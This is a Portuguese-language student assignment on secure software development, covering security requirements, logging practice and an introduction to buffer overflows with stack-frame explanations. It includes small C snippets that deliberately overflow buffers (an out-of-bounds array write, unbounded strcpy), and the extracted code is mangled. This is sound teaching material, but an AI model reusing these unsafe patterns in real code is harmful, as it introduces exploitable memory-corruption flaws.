Você está na página 1de 107

UNIDADE DE ENSINO VALPARASO DE GOIS

TECNOLOGIA EM ANLISE E DESENVOLVIMENTO DE SISTEMAS

DISCIPLINA: DESENVOLVIMENTO DE SOFTWARE SEGURO

PROFESSOR Me. EDINEI GONALVES LEMES

VALPARASO DE GOIS / GO
2015
1

Universidade Anhanguera UNIDERP


Centro de Educao a Distncia

Tecnologia em Anlise e Desenvolvimento de Sistemas


Disciplina: Desenvolvimento de Software Seguro
Prof. EaD: Me. EDINEI GONALVES LEMES
GRUPO 5
REGINALDO FERREIRA DE SOUSA RA: 6787372072
CARLOS CSAR CUNHA DE OLIVEIRA- RA: 7365462891
DJONNE DE SOUZA DOS SANTOS- RA: 7372573704
FERNANDA FERNANDES SILVA - RA: 7930683375
IGOR OLIVEIRA NAVA RA: 6947470168
JUVENAL F. BATISTA-RA: 7707625583

Atividade Pratica Supervisionada


Aplicado aos Cursos Superiores de Tecnologia I
ATPS

Valparaso / GO
2015

Universidade Anhanguera UNIDERP


Centro de Educao a Distncia

ATIVIDADE PRTICA SUPERVISIONADA

Atividade Avaliativa: Desafio de Aprendizagem


apresentado ao Curso Superior de Tecnologia em
Anlise e Desenvolvimento de Sistemas da
Universidade Anhanguera UNIDERP, como
requisito para a avaliao da Disciplina
Desenvolvimento de Software Seguro, para a
obteno e atribuio de nota da Atividade
Avaliativa.

Prof. Me. Edinei Gonalves Lemes


Tutor Presencial: Paulo Dutra

VALPARASO DE GOIS / GO
2015

SUMRIO

Relatrio 1 - Desenvolvendo Softwares Seguros............................................................5

Relatrio 2 - Evitando Estouro de Buffer........................................................................14

Relatrio 3 - Utilizando Criptografia.............................................................................43

Relatrio 4 - Evitando Ataques SQL INJECTION........................................................55

Relatrio 5 - Evitando ataques RPC E DDOS...............................................................63

Relatrio 6 - Testes de Segurana e Instalao de Softwares Seguros...................... .95

Relatrio 1 Desenvolvendo Softwares Seguros


1. Requisitos de Segurana de Software e sua importncia

Os requisitos de segurana de software so o conjunto de necessidades de segurana que o


software deve atender, sendo tais necessidades influenciadas fortemente pela poltica de
segurana da organizao, e compreendendo aspectos funcionais e no funcionais. Os aspectos
funcionais descrevem comportamentos que viabilizam a criao ou a manuteno da segurana
e, geralmente, podem ser testados diretamente. Na maioria dos casos, remetem a mecanismos
de segurana como, por exemplo, controle de acesso baseado em papis de usurios
(administradores, usurios comuns, entre outros.), autenticao com o uso de credenciais
(usurio e senha, certificados digitais, entre outros.), dentre outros.
Os aspectos no funcionais descrevem procedimentos necessrios para que o software
permanea executando suas funes adequadamente mesmo sob uso indevido. So exemplos
de requisitos no funcionais: validao de dados de entrada e o registro de eventos em log de
auditoria com informaes suficientes para anlise forense. A elicitao de requisitos de
segurana de software consiste na definio das necessidades de proteo exigidas pelo
software. Tal atividade exige uma colaborao intensa entre os interessados no software,
especialmente daqueles com viso negocial, que podem ter conscincia das consequncias no
negcio decorrentes de incidentes de segurana, cujo vetor de ataque se localize no software.
Algumas das tcnicas mais usadas no levantamento de requisitos de segurana incluem:

Brainstorming.

Pesquisas de opinio (questionrios e entrevistas).

Decomposio da poltica.

Classificao de dados.

Matriz de objeto-sujeito.

Modelagem de caso de uso e abuso.

Independente da tcnica a ser usada, a elicitao de requisitos exige que pelo menos um dos
participantes na atividade tenha densidade em segurana de software, para que os fluxos
regulares que o software prover ou j provm sejam criticados, evidenciando maneiras de
subvert-los. A definio dos cenrios negativos, cuja realizao indesejada, resultar no

requisito de segurana. Segue, a ttulo de ilustrao, alguns exemplos de requisitos de


segurana, retirados do livro Official (ISC)2 guide to the CSSLP by Mano Paul.
1.1 Confidencialidade

Senha e outros campos de entrada de dados sensveis necessitam ser mascarados.

Senhas no devem ser armazenadas as claras nos sistemas backend, e quando


armazenadas devem passar por processo de hash com uma funo pelo menos
equivalente a SHA-256.

Transport Layer Security (TLS) como Secure Socket Layer (SSL) deve ser colocado em
prtica para proteger contra ameaas internas de Man in the Middle (MITM) para todas
as informaes de carto de crdito que seja transmitida.

O uso de protocolos reconhecidamente inseguros como, por exemplo, File Transfer


Protocol (FTP) para transmitir credenciais de contas em texto claro a terceiros fora de
sua organizao deve ser proibido.

Arquivos de log no devem armazenar qualquer informao sensvel como definido


pelo negcio, de modo que seja compreensvel por seres humanos.

1.2 Integridade

Todos os formulrios de entrada e query strings necessitam ser validadas frente a um


conjunto de entradas aceitveis, antes do software aceita-los para processamento.

O software a ser publicado deve ser disponibilizado juntamente com o checksum e a


funo hash usada para computar o checksum, de modo que o interessado possa validar
sua preciso e completude.

Todos os personagens no humanos como um sistema ou processos batch devem ser


identificados, monitorados e impedidos de alterao de dados, a medida que ele passa
no sistema que eles rodam, a no ser que explicitamente autorizado para tal.

1.3 Disponibilidade

O software deve oferecer alta disponibilidade de oito (8) noves (9), como definido pelo
SLA.

O software deve estar preparado para atender capacidade mxima de 300 usurios
simultneos.
6

O software e seus dados devem ser replicados por todos os centros de dados para prover
balanceamento de carga e redundncia.

A funcionalidade de misso crtica no software deve ser restaurada a operao normal


no prazo de 1 hora de descontinuidade; funcionalidade de misso essencial no software
deve ser restaurada a operao normal no prazo de 4 horas da interrupo, e
funcionalidade de misso suporte no software deve ser restaurada a operao normal no
prazo de 24 horas.

1.4 Autenticao

O software ser implantado somente na Intranet e o usurio autenticado deve fornecer


novamente suas credenciais para acessar a aplicao, uma vez que esteja autenticado na
rede.

O software dever suportar single sign on a terceiros e fornecedores que esto definidos
na lista de interessados.

A poltica de autenticao garante a necessidade para dois ou autenticao com


mltiplos fatores para todos os softwares de processamento financeiro.

1.5 Autorizao

O acesso a arquivos secretos de alta sensibilidade deve ser restrito somente a usurios
com nveis de permisso secreto e supersecreto.

Os usurios no devem ser demandados a enviar suas credenciais sempre, uma vez que
ele tenha se autenticado com sucesso.

Todos os usurios autenticados herdaro a permisso de leitura somente que so parte


do papel do usurio convidado enquanto os usurios autenticados por padro tero
permisso de leitura e escrita como parte do papel de usurio regular. Somente os
usurios com acesso administrativo, tero todos os direitos dos usurios regulares,
adicionalmente a execuo de operaes.

1.6 Auditing and Logging

Todas as tentativas de logon devem ser registradas juntamente com o timestamp e o


endereo de IP de origem da requisio.

Os valores anterior e posterior a uma mudana de preo modificado por um usurio,


quando da atualizao de um preo por um usurio, devem ser monitorados com os
seguintes campos auditados: identidade, ao, objeto e timestamp.

Os logs de auditoria devem sempre ser adicionados de novos registros e nunca


sobrescritos.

Os logs de auditoria devem ser mantidos de forma segura por um perodo de 3 anos.

Gerenciamento de Sesso

Cada atividade do usurio dever ser rastreada de modo nico.

O software no deve solicitar as credenciais de acesso do usurio, uma vez que ele esteja
autenticado no Internet Banking.

As sesses devem ser explicitamente suspensas quando o usurio solicita o log off ou
fecha a janela do browser.

Identificadores de sesso usados para identificar a sesso de usurios devem no ser


passados em claro ou ser facilmente adivinhado.

1.7 Logging de Aplicao

O logging uma dimenso muito importante de uma aplicao, mas que amplamente
negligenciada durante o seu processo de design, assim como a segurana de software. No a
toa que uma das prticas iniciais recomendadas pelo BSIMMv2 (AA1.1) d enfoque aos
mecanismos de segurana, contedo no qual o logging se enquadra.
Talvez seja o fato dos principais interessados: auditor, desenvolvedor e administrador
do sistema, no estarem to interessados assim, desde o princpio (abordagem build security
outside in). O administrador do sistema normalmente no estimulado a pensar nos sinais que
a aplicao deva lhe fornecer para atuar diante de questes de produo. O auditor s chega em
cena, depois que o circo comea a pegar fogo, ou por imposio regulatria. J o desenvolvedor,
se vale das ferramentas de debug para resolver os problemas de cdigo, desdenhando do log.
Mas considere que voc esteja numa situao privilegiada, na qual pode pensar em logging
antes que necessite de fato do log. Que caminho seguir? De forma bem objetiva e resumida
recomendaria as seguintes etapas para o sucesso da sua iniciativa de logging.

1.8 Reconhea a aplicabilidade do log.


Para reconhecer a aplicabilidade fundamental levantar que cenrios sero tratados pela
sua organizao. Isso pode partir das atividades comuns dos papis citados anteriormente. Por
exemplo, o auditor precisar atuar diante de cenrios que envolvam ataques, uso inadequado e
falhas. J o desenvolvedor e o administrador se interessariam mais por cenrios de falhas, erros
e desempenho. Inclua as seguintes questes durante a sua anlise: A que servir o log? Essa
questo lhe ajudar a se afastar da tecnologia e perceber que o log possui um objetivo e que
este deve ser o foco. Temos alguns exemplos: Garantir no repdio de aes executadas por
usurios autnticos; reconhecer fluxos de execuo ou entradas para a aplicao
reconhecidamente suspeitas; Identificar a linha do cdigo fonte que comprometeu a execuo
da aplicao; mostrar a pilha de execuo relacionada a determinado falha da aplicao;
recuperar os dados que eram processados no momento de alguma falha; reconhecer quando
determinados eventos so iniciados e concludos. Reconhecer o tempo de processamento de
determinadas aes da aplicao; reconhecer o estado de recursos, como espao disponvel em
disco.
1.9 Como o log ser consumido?
Essa questo vai influenciar diretamente no contedo do log, que dever ser elaborado
para que as diferentes formas de consumo sejam possveis. Manualmente com/sem apoio de
ferramentas automatizadas ou automaticamente.

Qual a origem dos registros do log? Definio que lhe orientar quanto a dinmica
para consolidar os registros, alm de dar um tratamento homogneo independente da
origem.
o

Aplicao, WAF, servidor de aplicao, etc.

Como o log ser armazenado? Sua infraestrutura ter que estar preparada para receber
os registros, garantir a sua segurana, oferecer acesso concorrente, etc.
o

Arquivo, banco de dados e/ou console.

Dimenso mxima da base.

Segmentao do arquivo.

2.0 Defina o contedo do log


Uma vez que se tem a noo do que se espera do log e do ambiente em que ele estar
inserido, chega o momento da definio do seu contedo. Uma abordagem bastante interessante
o reconhecimento dos eventos que devem ser encontrados no log. Como nosso interesse est
muito voltado para segurana, nada mais natural que tratar de tais eventos. Anton Chuvakin e
Gunnar Peterson sugerem os seguintes eventos:

Autenticao, autorizao e acesso:


o

Decises com falha ou sucesso relacionadas a autorizao e autenticao.

Acesso a sistema, a dados e componentes; e

Acesso remoto, incluindo aqueles entre componentes de uma mesma aplicao


em ambientes distribudos.

Mudanas:
o

Mudanas em sistema ou aplicao (especialmente quando envolva alterao de


privilgios).

Mudanas de dados (incluindo a criao e destruio), e

Instalao e mudanas em componentes e aplicaes.

Problemas de disponibilidade:
o

Incio e encerramento de sistemas, aplicaes e mdulos ou componentes de


aplicaes.

Sucesso e falhas de backup que afete disponibilidade.

Problemas com recursos:


o

Recursos excedendo suas capacidades.

10

Problemas com conectividade.

Limites estourados.

Indicao de ameaas:
o

Entradas invlidas ou outros abusos da aplicao.

Outros problemas com a aplicao que comprometa a sua operao.

praticamente impossvel levantar todos os eventos de uma aplicao, mas quanto mais
ampla for a lista, mais condies se tem de conduzir a forma de elaborao do registro.
Definidos os eventos, voc pode estabelecer uma conveno de dados do registro relacionado
a cada evento. Essa uma forma de reduzir o poder discricionrio do desenvolvedor em definir
o contedo do log, fonte patente de problemas. Definidos os eventos, recomendvel usar uma
forma de categorizao dos registros do log. Tal categorizao lhe permite priorizar sua ateno
diante dos eventos produzidos pela aplicao. A maneira amplamente difundida pela sua
prioridade ou criticidade, que na maioria dos casos varia de trace, nvel menos crtico, at fatal,
nvel mais crtico. A justificativa para cada categoria segue abaixo:

FATAL apropriado para eventos que indiquem uma falha crtica de servio. Se um
servio emitir um erro FATAL, ele est completamente incapaz de responder. Ex.
Indisponibilidade total de um dos componentes-chave da aplicao.

ERRO apropriado para eventos que indiquem uma descontinuidade em uma


requisio ou habilidade do servio em responder. Um servio deve ter alguma
capacidade de continuar a responder a requisies mesmo na presena de ERROs. Os
ERROs no podem ser tolerados pela aplicao e devem ser investigados
imediatamente.

AVISO apropriado para eventos que indiquem um erro no crtico em determinado servio.
Erros resumidos ou brechas menores em requisies recaem sobre essa categoria. A distino
entre AVISO e ERRO muito tnue. Um critrio simples se a falha resulta em chamada de
suporte pelo usurio. Caso a resposta seja positiva, escolha ERRO, caso contrrio use AVISO.
Os AVISOs podem ser tolerados pela aplicao, mas devem sempre ser justificados e
examinados. Ex. Aplicao operando em modo debug. O console da aplicao no impe
controle de acesso.

11

INFO apropriado para eventos do ciclo de vida de servios e outras informaes


cruciais relacionadas. Mensagens INFO para uma determinada categoria de servio
devem revelar qual o estado corrente do servio. Outra definio de mensagens INFO,
registram aes que alteram significativamente o estado da aplicao. Ex. Atualizao
do banco de dados, requisio.

DEBUG apropriado para mensagens que incorporam informaes extras aos eventos
de ciclo de vida. Informao de desenvolvimento ou mais aprofundada necessria para
o suporte a base para esta prioridade. Pode-se considerar a pilha de execuo e
mensagens trocadas com sistemas externos a aplicao.

TRACE informao muito detalhada de interesse de desenvolvedores. Tais


mensagens so mantidas por um perodo de tempo muito pequeno quando a aplicao
entra em produo e devem ser consideradas temporrias. A dificuldade em se distinguir
mensagens DEBUG e TRACE a mais elevada. Uma vez que se considere um bloco
de instrues de logging desprezvel aps o desenvolvimento e teste da aplicao,
provavelmente ele deve ser classificado como TRACE. Estas mensagens podem conter,
por exemplo, alm dos mtodos de classes no fluxo de execuo, os argumentos que
cada mtodo recebe e devolve.

As categorias citadas anteriormente servem apenas como um exemplo a ser considerado


para definir as categorias que fizerem sentido para os objetivos do logging. Outra dimenso
recomendada para categorizar os registros a segurana. Todos os eventos considerados por
Anton Chuvakin e Gunnar Peterson recaem sobre essa categoria.

2.1 Disponibilize o mecanismo de logging


A maneira mais recomendada para conceber um mecanismo de logging adaptar uma das
diversas bibliotecas disponveis de acordo com suas necessidades. Dentre as funcionalidades
oferecidas por uma biblioteca de logging, as seguintes se destacam:

Administrao da sada (dimenso, backup, diviso, gravao, etc.)

Classificao dos registros (criticidade/prioridade/segurana).

Gerenciamento de concorrncia.
Tais funcionalidades esto presentes em vrias bibliotecas como, por exemplo:

Enterprise Library, SLF4J e ESAPI. A ESAPI merece um destaque especial por este post,
12

pois foi concebida com pretenses muito ousadas no que se refere a segurana. Decorre da
a possibilidade de instrumentar de forma bastante simples a aplicao, para que ela se adapte
automaticamente diante de cenrios de ataque, a partir do uso do AppSensor. Uma vez que
se defina o que e como logar, para que se obtenha sucesso nessa iniciativa, o desenvolvedor
deve ser bombardeado de treinamento, orientao e acompanhamento para garantir o uso
adequado do mecanismo e, principalmente, que o contedo dos registros seja completo e
compreensvel para o fim a que ele se destina.
Apresentamos algumas etapas fundamentais no processo de estruturao do logging de
aplicaes. Cada fase mereceria diversos posts para contemplar assuntos to extensos, mas
por limitaes de tempo tivemos que nos limitar a elas.

So ainda questes interessantes a serem discutidas:

Como ajustar o logging de uma aplicao que usa um WAF?

Como garantir que o contedo do log no seja subvertido pelo desenvolvedor?

Como orquestrar o mecanismo de validao de entrada e sada e o mecanismo


de logging para que a aplicao trabalhe segundo uma abordagem de segurana
positiva?

2.2 Erros e Gerenciamento de Exceo

Todos os erros e excees devem ser explicitamente manipulados a partir de blocos try,
catch e finally.

Mensagens de erro que so mostradas ao usurio revelaro somente a informao


necessria, sem vazamento de detalhes internos do sistema na mensagem de erro.

Detalhes de excees de segurana devem ser auditados e monitorados periodicamente.

Parmetros de Configurao

Os dados sensveis do arquivo de configurao da aplicao web como strings de


conexo, devem ser encriptados.

Senhas e chaves de criptografia no devem ser registradas no cdigo fonte do software.

A inicializao e a liberao de variveis globais necessitam ser monitoradas com muito


cuidado.

Eventos de inicializao e interrupo de sesso devem incluir protees na informao


de configurao como uma salvaguarda contra ameaas de vazamento.

13

Relatrio 2 Evitando estouro de Buffer


2.3 O que Buffer?
Um buffer uma pequena rea de memria ultrarrpida usada para melhorar a
velocidade de acesso a um determinado dispositivo. encontrado em HDs, gravadores de CD,
modems, e em muitos outros dispositivos. Apesar de serem sinnimos, o termo "buffer" mais
usado em relao aos dispositivos anteriormente citados enquanto o termo "cache" mais usado
com relao aos processadores e memria RAM.
Embora no seja to importante para o desempenho quanto geralmente se pensa, o buffer
permite controladora do HD executar um conjunto de operaes teis para melhorar o
desempenho.
Geralmente ao ler um arquivo, sero lidos vrios setores sequenciais. A forma mais
rpida de fazer isso , naturalmente, fazer com que a cabea de leitura leia de uma vez todos os
setores da trilha, passe para a trilha seguinte, passe para a terceira e assim por diante. Isso
permite obter o melhor desempenho possvel.
O problema que na prtica no assim que funciona. O sistema pede o primeiro setor
do arquivo e s solicita o prximo depois de receb-lo e certificar-se de que no existem erros.
Se no houvesse nenhum tipo de buffer, a cabea de leitura do HD acabaria tendo que passar
vrias vezes sobre a mesma trilha, lendo um setor a cada passagem, j que no daria tempo de
ler os setores sequencialmente depois de todo tempo perdido antes de cada novo pedido.
Graas ao buffer, este problema resolvido, pois a cada passagem a cabea de leitura l
todos os setores prximos, independentemente de terem sido solicitados ou no. Aps fazer sua
verificao de rotina, o sistema solicitar o prximo setor, que por j estar carregado no buffer
ser fornecido em tempo recorde.
Nos HDs atuais, o buffer pode ser usado tambm nas operaes de escrita. Imagine, por
exemplo, que a controladora est ocupada lendo um arquivo longo e o sistema solicita que ela
atualize um pequeno arquivo de log. Em vez de precisar parar o que est fazendo, a controladora
pode armazenar a operao no buffer e execut-la mais adiante, em um momento de ociosidade.
Nos HDs SATA com NCQ, a controladora possui liberdade para reorganizar as
operaes, realizando-as de forma que sejam concludas mais rpido. A controladora passa
ento a armazenar os dados no buffer, de forma que, depois de concludas as operaes, possa
organizar os dados e entreg-los na ordem correta para o sistema.
O espao excedente usado para armazenar os ltimos arquivos acessados, de forma
que eles possam ser fornecidos rapidamente caso sejam requisitados novamente. A principal
14

vantagem de usar um buffer maior seria justamente ter mais espao para arquivos. A questo
que o sistema operacional tambm mantm um cache de leitura e gravao utilizando a memria
RAM que, por ser maior que o buffer do HD, acaba sendo mais eficiente e tambm mais rpido,
j que o buffer do HD tem sua velocidade de transferncia limitada velocidade da interface
IDE ou SATA, enquanto o cache feito pelo sistema operacional est limitado apenas
velocidade de acesso da prpria memria RAM.

2.4 Breve relato histrico


No fim dos anos 80, especificamente em 1988, o mundo tecnolgico conheceu um dos
malwares de maior influncia, impacto e explorao da histria, o Morris Worm. Este vrus se
espalhou de maneira grandiosa, causando danos financeiros enormes, infectando e deixando
inutilizada uma parcela enorme dos computadores conectados rede mundial de computadores
da poca. Esse vrus explorava diversas vulnerabilidades at ento desconhecidas, e uma dessas
vulnerabilidades exploradas, era exatamente um estouro de buffer no servio finger, que era o
protocolo usado para fazer a troca de informaes de usurios na rede.
Na maioria das vezes, o ataque consiste em descobrir algum parmetro de entrada
vulnervel de um sistema que possa ser manipulado de maneira que permita a entrada de
comandos de mquina maliciosos. Estes comandos se forem bem formulados, podem ser usados
para comprometer a mquina hospedeira de maneira que o atacante receba privilgios que antes
no possua. Estas vulnerabilidades podem ser evitadas utilizando as boas prticas de
programao. O uso errado de funes que operam com arrays a principal causa de brechas
na segurana de um sistema. Funes que permitem a escrita de um dado em memria alm dos
limites estabelecidos pelo compilador e devem ser usadas com um cuidado especial, pois podem
estar colocando vulnerabilidades passiveis de explorao. Hoje quase 30 anos aps o
lanamento do verme, o estouro do buffer ainda o tipo de vulnerabilidade mais explorado do
mundo, estando a frente de ataques que so conhecidos como os ataques de negao de servios
ou Denial of Service, ou ainda DoS.
2.5 Organizao de Processos em Memria
Para se entender melhor o que so e como ocorrem os estouros de buffer, precisamos
entender alguns conceitos que so essenciais e esto relacionados a sistemas operacionais;
precisaremos compreender o conceito de organizao de um processo em memria, e como se
15

realiza as chamadas de funes, registradores e dentre outras coisas. Ser utilizado um sistema
operacional software livre Ubuntu. Entretanto, todos os conceitos aqui tratados so similares
maioria dos sistemas operacionais existentes.
2.5.1 Processos
Um processo um programa em execuo, isto significa que o sistema operacional
carregou o executvel do programa em memria, providenciou para que ele tivesse acesso aos
argumentos por linha de comando, e o iniciou. Um processo dividido em memria em cinco
reas distintas (ROBINS, 2004). So elas:
1. Cdigo (text): essa a rea onde as instrues executveis residem. Essa rea
organizada de tal maneira que diversos processos do mesmo programa podem dividir a
mesma rea de cdigo, apenas uma cpia ficar na memria. Ela tipicamente marcada
como apenas para leitura, e qualquer tentativa de escrever sobre ela gera um erro de
segmentao;
2. Dados inicializados (Data): Variveis globais e estticas inicializadas com valores
diferentes de zero situam-se no segmento de dados, que uma rea nica para cada
processo em execuo.
3. Dados inicializados com zeros (BSS): Variveis globais e estticas inicializadas com
zero por padro so alocadas na rea conhecido por BSS, que tambm nico para cada
instancia de um programa em execuo. BSS, que tambm nico para cada instancia
de um programa em execuo. BSS mantido no segmento de dados quando um
programa inicia sua execuo. Linux/Unix organizado de tal maneira que apenas as
variveis que so inicializadas para valores diferentes de zero ocupem espao em
memria. Por exemplo, um array declarado static char buff [1024], que
automaticamente inicializado com zeros, no ocupam necessariamente 1K de memria;
4. Heap: a rea usada para alocao dinmica de memria (atravs do uso de funes
como malloc() e similares). O espao de endereamento reservada para o processo
cresce na medida em que mais memria alocada no Heap. dito que a memria
alocada nessa rea cresce para cima, pois cada item adicionado no Heap ser acrescido
em um endereo de memria superior aos que foram adicionados anteriormente.
5. Pilha (Stack): a rea onde se encontram as variveis locais do programa (aquelas
definidas dentro do escopo de uma funo). Aqui tambm se encontram parmetros de

16

funo e o seu endereo de retorno para quem a chamou. Essa memria


automaticamente liberada no trmino da funo. Na maioria das arquiteturas, a pilha
cresce para baixo, pois, cada item adicionado ser acrescido em endereos de memria
inferiores aos que foram adicionados anteriormente;
A figura abaixo ilustra a organizao em memria de um processo:
Stack

Heap
BSS
Data
Text

Figura 2.5.1: Organizao de um processo de memria.

Figura 2.5.1.1: Organizao de um processo de memria.

17

Analisando a primeira imagem pode-se perceber que a pilha e o heap crescem um na


direo oposta do outro. Teoricamente seria possvel que estas duas reas de memria se
sobrescrevessem, porm, o sistema operacional impede que tal fato ocorra. As diferentes reas
da memria podem ter diferentes permisses de acesso configuradas para elas. Por exemplo,
tpico marcar a rea de cdigo com uma permisso de somente execuo e desmarcar tal
permisso nas reas de pilha e dados. Essa pratica pode at mesmo prevenir alguns tipos de
ataques de segurana (ROBBINS, 2004).
O comando Linux size nos permite verificar o tamanho das reas de cdigo, de dados, e
BSS do processo. O programa a seguir foi criado para demonstrar o uso desse comando.
#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
Int main(){
Int a=10;
Char b[100];
Strncpy(b, Esse um programa para testar
os tamanhos das reas de memria de um
processo, 99);
b[99] = \0;
Printf (%s\n, b);
Return 0;

Executando o comando size temos:


[carlos@carlos-desktop:]~$ size memsize
Text data bss dec hex filename
1188 272 8 1468 5bc memsize

18

2.5.2 Pilha

A pilha um bloco contguo de memria cujo tamanho dinamicamente ajustado pelo


kernel em tempo de execuo de um processo. Possui um endereo base fixo e topo varivel.
O CPU implementa instrues PUSH e POP para adicionar e retirar dados da pilha,
respectivamente (ALEPHONE, 1996).
Para controlar as operaes de insero e remoo da pilha, usado o registrador Stack
pointer (ESP, ou Extended Stack Pointer), que aponta para o seu topo. Ao executar o comando
PUSH, um valor inserido na pilha e o registrador decrementado. Na chamada do comando
POP, o valor o qual o Stack pointer aponta retirado da pilha, e seu valor incrementado
(ALEPHONE, 1996), a seguir, dois exemplos de instrues tpicas para controle de tamanho
da pilha:
add esp, 0xA

//diminui o tamanho da pilha em 10 bytes

sub esp, 0xA

//aumenta o tamanho da pilha em 10 bytes

push ebp

// Salva EBP, o colocando na pilha

pop ebp

//Busca EBP, removendo-o da pilha

Para acessar as variveis locais e parmetros da funo, usado um segundo registrador


chamado de frame pointer (ABP, ou Extend Base Pointer), que aponta para um endereo fixo
dentro de um frame. Atravs do deslocamento relativo ao frame pointer, possvel calcular o
endereo dos parmetros e variveis locais. Tal endereamento poderia ser realizado usando-se
como base o ESP, porm suas mudanas de valor obrigariam que houvesse constantes
atualizaes dos deslocamentos. Em alguns casos, o compilador possui capacidade para corrigir
esses valores, em outros no, e em todos os casos necessrio um gerenciamento considervel
e possivelmente custoso em termos de processamento (ALEPHONE, 1996).

A pilha organizada em blocos lgicos chamados de frames. Cada frame da pilha possui
dados como variveis locais e parmetros da funo, endereo de retorno para o frame anterior
e o valor do ponteiro de instruo (EIP, ou Extended Instruction Pointer) no momento da
chamada da funo. Um frame colocado na pilha na chamada de uma funo, e retirado no
seu retorno (ALEPHONE, 1996). A figura abaixo demonstra os elementos presentes em um
frame:
19

Endereos altos de memria


Parmetros da funo
Endereo de retorno da
funo
Frame pointer da funo
anterior
Endereos baixos de memria

Variveis locais

Figura 2.5.2: Sees de um frame da pilha.

Para demonstrar os componentes da pilha, temos a seguir um exemplo:


Int foo (int par1, char par2)
{
Int var1 = 7;
Char var2 = z;
Return 0;
}

Int main (int argc, char *argv [])


{
Foo (3, A);
Return 0;
}

20

Aps uma execuo da funo foo() e verificando os seus valores usando as ferramentas gdb e
Eclipse, podemos observar na pilha os seguintes valores:

Figura 2.5.2.1: dados da pilha em uma execuo do programa.

Representado graficamente, temos:

21

2.5.3 Operaes da Pilha


Para melhor entender como ocorrem os estouros de buffer essencial conhecer as
operaes que ocorrem na pilha tanto na chamada de uma funo como no seu retorno. Ao
executar um procedimento, h um desvio de fluxo de execuo para a rea de memria onde se
encontram as instrues da funo chamada. Espera-se que no final de sua execuo, a funo
chamada retorne para o ponto da funo original, como o endereo de retorno e o valor do frame
pointer anterior. Veremos a seguir as operaes bsicas que ocorrem na pilha para que esse
fluxo funcione corretamente. A conveno usada cdecl, que a padro para arquiteturas Intel
x86.
Para que uma funo chame outra, tipicamente ocorrem os seguintes passos (TENOUK,
2008):

Colocar parmetros na pilha: necessrio que a funo chamada tenha acesso aos
parmetros que lhe foram repassados. Para isso, a funo chamadora coloca os
parmetros da funo na pilha.

Chamar a funo: a instruo assembly call a responsvel por colocar o valor EIP
(endereo de retorno) na pilha e por desviar o fluxo de execuo para onde se
encontra a funo chamada. Esse passo realizado executando-se o seguinte
comando assembly:

call <endereo da funo>


Desviado o fluxo de execuo para a funo chamada, executada uma srie de
comandos padres para inicializar o novo frame com informaes essenciais para o seu correto
funcionamento (TENOUK, 2008). Essa etapa chama-se prlogo, e nela ocorrem os seguintes
passos:
Salvar o frame pointer antigo da pilha: para que a funo chamada possa restaurar o
frame da funo chamadora, necessrio gravar o EBP na pilha. O comando assembly
usado para essa operao :
Push %ebp
Alocar um novo frame: para estabelecer um novo frame, o frame pointer deve receber
o endereo de memria onde ficar alocado o frame da pilha. Para tal, o registrador EBP

22

receber o valor contido no Stack pointer, que aponta para o endereo de memria onde
se encontra o valor do EBP salvo no passo anterior. A instruo realizada :
mov %esp, %ebp
Alocar espao para variveis locais: conforme visto anteriormente, as variveis locais
de uma funo ficam armazenadas na pilha e logo aps o frame pointer. Para garantir
espao em memria para elas, necessrio aumentar o tamanho da pilha, e isso
realizado com a instruo assembly sub como no exemplo:
Sub $0x38, % esp
Aps executar o prlogo, o frame da pilha est pronto para execuo e a funo pode
seguir o seu processamento. Antes de retornar o controle ao procedimento chamador, a funo
deve seguir uma srie de instrues para liberar a memria da pilha e restaurar o frame anterior
(TENOUK, 2008). Esse processo chamado de eplogo, e suas etapas so detalhadas a seguir:
Destruir o frame da pilha: os Stack pointer recebe o valor do frame pointer, liberando
as variveis locais da funo. Devemos observar que os valores da rea da memria
onde se encontram as variveis no so alterados, apenas perde-se a referncia aos seus
dados. Aps isso, o valor do frame pointer da funo chamadora salvo na pilha
restaurado para o registrador EBP. A instruo assembly responsvel por executar esse
comando :
Leave
Restaurar o fluxo de execuo anterior; para que o controle possa ser retomado ao
procedimento anterior, a funo chamada deve buscar da pilha o endereo de retorno da
funo chamadora. Esse endereo ento copiado para o registrador EIP, que o
ponteiro para a prxima instruo. Essa etapa realizada pelo comando assembly:
Ret

Exemplo
Para facilitar o entendimento de como funciona a pilha em chamadas de funes,
ser apresentado a seguir um cdigo fonte em C e seu respectivo cdigo assembly
gerado.

23

24

Analisando o cdigo assembly do programa pode-se demonstrar graficamente como


ficaro os valores em memria da pilha durante a sua execuo

2.5.4 Buffer Overflow (Estouros de Buffer)


Aqui apresentarei o que estouros de buffer, como ocorrem e como e quando essa
vulnerabilidade pode ser explorada.
25

Um buffer simplesmente um bloco contiguo de memria de um computador, como um


array de caracteres. Nos compiladores C, qualquer varivel pode ser alocada em tempo de carga
diretamente na rea de dados de um processo (variveis estticas) ou carregadas dinamicamente
em tempo de execuo na pilha (variveis dinmicas). Pela expresso Overflow (Estouro em
portugus), entende-se ter o contedo fluindo sobre ou derramado, como em um continer
cheio alm de sua capacidade. Estouro de buffer inserir dados em uma varivel alm do
limite de memria alocada para ela pelo compilador (ALEPHONE, 1996).
Alguns compiladores (como C e C++) no realizam checagem automtica de limites de um
buffer, ou seja, qualquer tentativa de escrever dados em memria alm do limite de tamanho de
um buffer permitida. Quando isso acontece, frequente ocorrer uma falha de segmentao na
execuo do programa, pois ele est tentando acessar uma rea de memria no permitida. Por
exemplo:
Int main () {
char buffer [10];
buffer [11] = A;
}
O cdigo acima em C um programa vlido, e compila sem nenhum erro. Nele alocada
uma varivel buffer, o qual possui 10 posies. Como ndices desse array variam de 0 a 9, ao
tentarmos atribuir o valor A ao ndice 11 estamos na verdade sobrescrevendo uma rea da
memria que no pertence a essa varivel. O byte seguinte ao ltimo ndice alocado buffer
ser sobrescrito com o valor de A, e isso pode alterar o espao de memria alocado a outra
varivel. Dependendo do tamanho do valor sobrescrito, o endereo de retorno armazenado na
pilha pode ser alterado. Quando isso ocorre, o mais frequente o sistema operacional acusar
uma falha de segmentao e abortar a execuo do programa, pois ele est tentando acessar um
endereo invlido. Porm, essa vulnerabilidade pode ser usada para comprometer a segurana
da mquina onde ele est sendo executado, se o programa vulnervel possuir permisses
privilegiadas.

Abaixo mais um exemplo:

26

Esse programa seta todos os 255 bytes da memria da varivel loc1 com valor A e a
passa como parmetro para a funo foo(). Nela, a varivel recebida por parmetro copiada
para um buffer local loc2 de 16 bytes usando-se a funo strcpy(). Porm, essa funo no
executa nenhuma checagem de limites para verificar se a varivel loc2 tem espao alocado para
armazenar toda string par, pois ela o copia at encontrar o caracter nulo \0. Se observarmos o
estado da pilha dentro da funo foo(), teremos:

